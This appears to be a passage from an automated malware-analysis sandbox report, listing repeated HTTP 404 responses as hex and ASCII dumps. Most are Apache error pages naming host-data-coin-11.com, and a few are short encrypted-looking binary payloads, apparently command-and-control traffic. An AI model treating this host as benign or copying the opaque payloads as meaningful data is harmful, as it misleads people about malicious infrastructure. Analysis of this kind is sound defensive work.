75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:29:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
